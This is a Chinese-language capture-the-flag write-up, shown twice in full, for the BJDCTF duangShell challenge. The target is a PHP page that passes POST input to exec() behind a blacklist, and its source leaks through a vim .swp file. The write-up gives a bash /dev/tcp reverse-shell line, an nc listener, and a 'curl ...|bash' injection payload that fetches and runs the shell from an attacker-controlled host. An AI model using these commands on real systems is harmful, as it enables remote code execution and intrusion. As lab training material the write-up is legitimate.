[BJDCTF 2nd]duangShell
[BJDCTF 2nd]duangShell
点击进去之后提示我们swp源代码泄露,访问http://xxx/.index.php.swp下载该文件
该文件产生的原因是:使用vi编辑器打开文件时,会生成一个.文件名.swp的备份文件,防止意外退出等情况导致文件内容丢失。产生原因主要是管理员在web目录下修改代码文件,导致生成了.swp备份文件。
我们使用vim -r 文件名 来恢复内容,然后按下任意键就可以看到其中的代码了。
windows下我在git命令行里面进行操作的,
源代码如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
|
</head>
<body>
<center><h1>珍爱网</h1></center>
</body>
</html>
<?php
error_reporting
(0);
echo
"how can i give you source code? .swp?!"
.
"<br>"
;
if
(!isset(
$_POST
[
'girl_friend'
])) {
die
(
"where is P3rh4ps's girl friend ???"
);
}
else
{
$girl
=
$_POST
[
'girl_friend'
];
if
(preg_match(
'/\>|\\\/'
,
$girl
)) {
die
(
'just girl'
); {
}
else
if
(preg_match(
'/ls|phpinfo|cat|\%|\^|\~|base64|xxd|echo|\$/i'
,
$girl
)) {
} {
echo
"<img src='img/p3_need_beautiful_gf.png'> <!-- He is p3 -->"
;
}
else
{
//duangShell~~~~
exec
(
$girl
);
}
}
~
}
|
观察源代码之后发现是绕过过滤之后命令执行的题目
因为过滤了$符号,所以不能采用这种黑名单拼接的方式绕过
1
|
a=ca;b=t;c=flag;
$ab
$c
|
禁用了base64之后不能使用base64编码绕过
1
|
`
echo
"Y2F0IGZsYWc="
|
base64
-d`
|
又想了一些奇怪的姿势,着实不行,看师傅们的博客吧。
这道题用到的是反弹shell,又涨知识了,关于反弹shell可以看先知上的这两篇文章:
接着我们申请一个小号,在basic开启一台内网主机,默认好像apache服务已经开启了,在/var/www/html 下写入反弹shell
1
|
bash
-i >&
/dev/tcp/
[ip]/[port] 0>&1
|
这里的ip是内网主机的ip,使用ifconfig可以查看,port自己指定,我这里使用的是4444
接着监听本地的4444端口
1
|
nc
-lvvp 4444
|
在题目珍爱网界面,POST数据为:
1
|
girl_friend=curl http:
//
[ip]/[文件名]|
bash
|
ip是内网主机的IP,文件名是在html文件夹下写入的反弹shell的文件名,我这里是shell.txt
因为题目没有禁止curl,让珍爱网题目PHP代码里的exec执行curl
访问内网靶机的写有反弹shell命令的文件,使内网靶机获取到反弹shell。
获取到反弹shell之后,题目靶机根目录下有假的flag文件
使用linux 的find命令查找flag
1
|
find
/ -name *flag*
|
等待一会就能看到真实flag所在的位置了,然后cat查看一下就能获取flag
获得flag
学习了反弹shell的一些操作
参考博客:
https://blog.csdn.net/qq_40648358/article/details/105011659
https://www.cnblogs.com/gaonuoqi/p/12602309.html
https://www.cnblogs.com/Konmu/p/12549038.html#bjdctf-2ndduangshell
[BJDCTF 2nd]duangShell
点击进去之后提示我们swp源代码泄露,访问http://xxx/.index.php.swp下载该文件
该文件产生的原因是:使用vi编辑器打开文件时,会生成一个.文件名.swp的备份文件,防止意外退出等情况导致文件内容丢失。产生原因主要是管理员在web目录下修改代码文件,导致生成了.swp备份文件。
我们使用vim -r 文件名 来恢复内容,然后按下任意键就可以看到其中的代码了。
windows下我在git命令行里面进行操作的,
源代码如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
|
</head>
<body>
<center><h1>珍爱网</h1></center>
</body>
</html>
<?php
error_reporting
(0);
echo
"how can i give you source code? .swp?!"
.
"<br>"
;
if
(!isset(
$_POST
[
'girl_friend'
])) {
die
(
"where is P3rh4ps's girl friend ???"
);
}
else
{
$girl
=
$_POST
[
'girl_friend'
];
if
(preg_match(
'/\>|\\\/'
,
$girl
)) {
die
(
'just girl'
); {
}
else
if
(preg_match(
'/ls|phpinfo|cat|\%|\^|\~|base64|xxd|echo|\$/i'
,
$girl
)) {
} {
echo
"<img src='img/p3_need_beautiful_gf.png'> <!-- He is p3 -->"
;
}
else
{
//duangShell~~~~
exec
(
$girl
);
}
}
~
}
|
观察源代码之后发现是绕过过滤之后命令执行的题目
因为过滤了$符号,所以不能采用这种黑名单拼接的方式绕过
1
|
a=ca;b=t;c=flag;
$ab
$c
|
禁用了base64之后不能使用base64编码绕过
1
|
`
echo
"Y2F0IGZsYWc="
|
base64
-d`
|
又想了一些奇怪的姿势,着实不行,看师傅们的博客吧。
这道题用到的是反弹shell,又涨知识了,关于反弹shell可以看先知上的这两篇文章:
接着我们申请一个小号,在basic开启一台内网主机,默认好像apache服务已经开启了,在/var/www/html 下写入反弹shell
1
|
bash
-i >&
/dev/tcp/
[ip]/[port] 0>&1
|
这里的ip是内网主机的ip,使用ifconfig可以查看,port自己指定,我这里使用的是4444
接着监听本地的4444端口
1
|
nc
-lvvp 4444
|
在题目珍爱网界面,POST数据为:
1
|
girl_friend=curl http:
//
[ip]/[文件名]|
bash
|
ip是内网主机的IP,文件名是在html文件夹下写入的反弹shell的文件名,我这里是shell.txt
因为题目没有禁止curl,让珍爱网题目PHP代码里的exec执行curl
访问内网靶机的写有反弹shell命令的文件,使内网靶机获取到反弹shell。
获取到反弹shell之后,题目靶机根目录下有假的flag文件
使用linux 的find命令查找flag
1
|
find
/ -name *flag*
|
等待一会就能看到真实flag所在的位置了,然后cat查看一下就能获取flag
获得flag
学习了反弹shell的一些操作
参考博客:
https://blog.csdn.net/qq_40648358/article/details/105011659
https://www.cnblogs.com/gaonuoqi/p/12602309.html
https://www.cnblogs.com/Konmu/p/12549038.html#bjdctf-2ndduangshell